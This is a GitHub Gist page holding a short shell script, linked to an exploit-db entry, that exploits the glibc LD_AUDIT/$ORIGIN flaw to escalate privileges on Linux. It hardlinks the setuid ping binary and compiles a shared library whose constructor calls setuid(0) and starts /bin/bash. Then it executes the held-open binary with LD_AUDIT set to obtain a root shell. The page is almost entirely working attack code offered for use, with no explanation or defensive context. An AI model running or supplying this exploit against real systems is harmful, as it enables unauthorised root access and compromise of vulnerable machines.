Created
July 18, 2014 11:01
-
-
Save chao-he/b94ed66b75c2d61d9744 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# see: http://www.exploit-db.com/exploits/15274/ | |
mkdir /tmp/exploit | |
ln /bin/ping /tmp/exploit/target | |
exec 3< /tmp/exploit/target | |
rm -rf /tmp/exploit/ | |
cat >payload.c <<EOF | |
void __attribute__((constructor)) init() | |
{ | |
setuid(0); | |
system("/bin/bash"); | |
} | |
EOF | |
gcc -w -fPIC -shared -o /tmp/exploit payload.c | |
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment